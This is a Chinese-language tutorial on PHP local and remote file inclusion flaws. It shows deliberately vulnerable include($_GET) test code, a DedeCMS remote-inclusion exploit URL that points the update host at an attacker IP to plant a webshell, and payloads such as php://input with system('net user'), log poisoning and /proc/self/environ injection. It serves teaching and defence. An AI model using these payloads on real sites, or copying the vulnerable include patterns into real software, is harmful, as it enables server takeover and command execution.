严格来说,文件包含漏洞是“代码注入”的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含,文件包含漏洞可能出现在JSP、PHP、ASP等语言中,原理都是一样的,本文只介绍PHP文件包含漏洞。
0x01 什么是文件包含漏洞?
简单的来说,就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件,如果不是我们有可能包含本地的文件。
0x02 文件包含漏洞产生的原因?
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
0x03 PHP包含漏洞分类
主要分为两类:
1、本地文件包含LFI
2、远程文件包含RFI(需要php.ini中allow_url_include=on)
PHP中四个包含文件的函数:
include(),include_once(),require()和require_once()
它们的区别在于:
include(),include\_once()在包含文件时,即使遇到错误,下面的代码依然会继续执行;
而require()和require_once()则会报错,直接退出程序。
0x04 本地文件包含
测试代码main.php:
<?php
echo "Hello,this is file_include test!";
//初始化
define("ROOT",dirname(_File_).'/');
//加载模块
$page = $_GET['page'];
echo ROOT.$page.'.php';
include(ROOT.$page.'.php')
?>
在同目录下创建1.php:
<?php phpinfo();?>
请求/main.php?page=1
0x05 远程文件包含
基于HTTP协议的测试代码
<?php
include($_GET['url']);
?>
在远程主机放入一个2.txt,内容为
<?php phpinfo();?>
在请求的url参数中传入2.txt的地址http://oacotcyq8.bkt.clouddn.com/2.txt
返回本机的phpinfo信息。
远程文件包含还有一种利用PHP输入输出流的利用方式,可以直接执行POST代码,只要执行POST请求main.php?url=php://input
,POST的内容为<?php phpinfo();?>
,即可打印出phpinfo信息。
0x06 文件包含漏洞实例
0x06_1 本地文件包含实例
1.首先有个正常的图片,里面包含一个phpinfo()函数。
2.打开DVWA上传含恶意代码的图片
3.利用文件包含访问链接:
http://127.0.0.1:8080/DVWA-1.9/vulnerabilities/fi/?page=../../hackable/uploads/1.jpg
0x06_2 远程文件包含实例
以Dedecms的一个远程文件包含漏洞为例
DedeCms < 5.7-sp1远程文件包含漏洞,在了解这个漏洞之前,我们先了解一下Apache服务器解析文件流程。
当Apache检测到一个文件有多个扩展名时,比如1.php.bak,会从右向左判断,因为bak扩展名Apache不认识,所以就要向前解析,直到有一个Apache认识的扩展名,如果全部的扩展名都不认识,那么会按照httpd.conf配置中指定的方式进行展示,一般默认的是“text/plain”这种方式。我们了解完这个内容后再来分析下面这个漏洞。
这个问题出现在install/index.php.bak这个文件。看一下这个文件的代码:
<php?
…….
else if($step==11)
{
require_once(‘../data/admin/config_update.php’);
$rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”;
echo $rmurl;
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,’w’);
if(fwrite($fp,$sql_content))
echo ‘ [√] 存在(您可以选择安装进行体验)’;
else
echo ‘ [×] 远程获取失败’;
unset($sql_content);
fclose($fp);
exit();
……
?>
在上面的代码中我们看到在step=11中,首先包含了/data/admin/config_update.php这个文件,我们再打开这个文件,内容如下:
<?php
/**
* 更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
*
* @version $Id: config_update.php 1 11:36 2011-2-21 tianya $
* @package DedeCMS.Administrator
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
//更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';
指定了updateHost变量的值。看起来是没有办法包含的,因为变量是固定值,但是如果我们指定了install_demo_name是config_update.php这文件,并且内容是一个404的文件,情形是怎么样子的呢?
我们先来访问这个url:http://127.0.0.1/ DedeCMS-5.7-UTF8-SP1/uploads/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
这会让代码到
http:// updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt
中取内容写入到
config_update.php,demodata.a.txt
。
你可能想要问了http:// updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt
这个是什么呢?我们访问一下
其实什么都没有,所以变量覆盖以后,我们打开config_update.php以后,里面已经什么都没有了
这样updataHost变量的值便没有被初始化,那么我们想写什么就写什么了,这样就完成了一个远程文件包含漏洞的利用。构造一个url即可完成攻击:
http://127.0.0.1/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/xxx.php&updateHost=http://192.168.2.3/
0x06_2.1 编写脚本测试
1.开始测试,打开dedecms,可以正常访问
2.然后检测脚本是否可以正常运行
3.脚本可以正常运行,然后我们测试漏洞是否可以利用成功,我们查看远程服务器的文件,如下图,我们在目录C:\wamp\www\dedecms\demodata.a.txt中写入需要我们写入web服务器中的内容,这样就可以写入xxx.php的文件中,从而达到getshell的目的。
4.攻击者远程IP地址
5.然后我们测试漏洞利用
6.打开web服务器的data目录,可以看到,文件已经成功的写到了web服务器中。DedeCMS-5.7-UTF8-SP1\uploads
7.我们访问一下
8.漏洞利用成功
0x06 文件包含漏洞利用技巧
远程文件包含漏洞之所以能够执行命令,就是因为攻击者可以自定义被包含的文件内容。因此,本地文件包含漏洞要想执行命令,也需要找一个攻击者能够控制内容的本地文件。
目前主要有几下几种常见的技巧:
0x06_1 PHP包含读文件
php://filter/read=convert.base64-encode/resource=login.php
0x06_2 PHP包含写文件
包含data://或php://input等伪协议。这需要目标服务器支持,同时要求allow_url_fopen为设置为ON。
http://ip_address/?page=php://input
并且POST数据为<?php system('net user');?>
0x06_3 包含日志文件
当某个PHP文件存在文件包含漏洞,却无法上传文件时,这就意味着有包含漏洞却不能拿来利用,这时就可以利用apache日志文件来入侵
Apache服务器运行后会生成两个日志文件,access.log(访问日志)和error.log(错误日志),apache会记录下我们的操作,并写入到访问日志access.log之中。
访问
http://ip_address/?page=../../../../Apache-20/logs/access.log
0x06_4 截断包含
只适合于magic_quotes_gpc=off的时候。
hhtp://ip_address/?page=1.jpg%00
0x06_5 PHP内置协议
file:///var/www/html 访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress> 访问FTP(s) URLs
data:// 数据流
http:// — 访问 HTTP(s) URLs
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流
zlib:// — 压缩流
data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 处理交互式的流
0x06_6 包含Session文件。
这部分需要攻击者能够控制部分Session文件的内容,PHP默认生成的Session文件一般存放在/tmp目录下。
0x06_7 包含/proc/self/environ文件。
http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ
这个也是一种通用的技巧,因为它根本不需要猜测被包含文件的路径,同时用户也能控制它的内容,常见的做法是向User-Agent中注入PHP代码来完成攻击。
补充
强力推荐一篇文章:LFI、RFI、PHP封装协议安全问题学习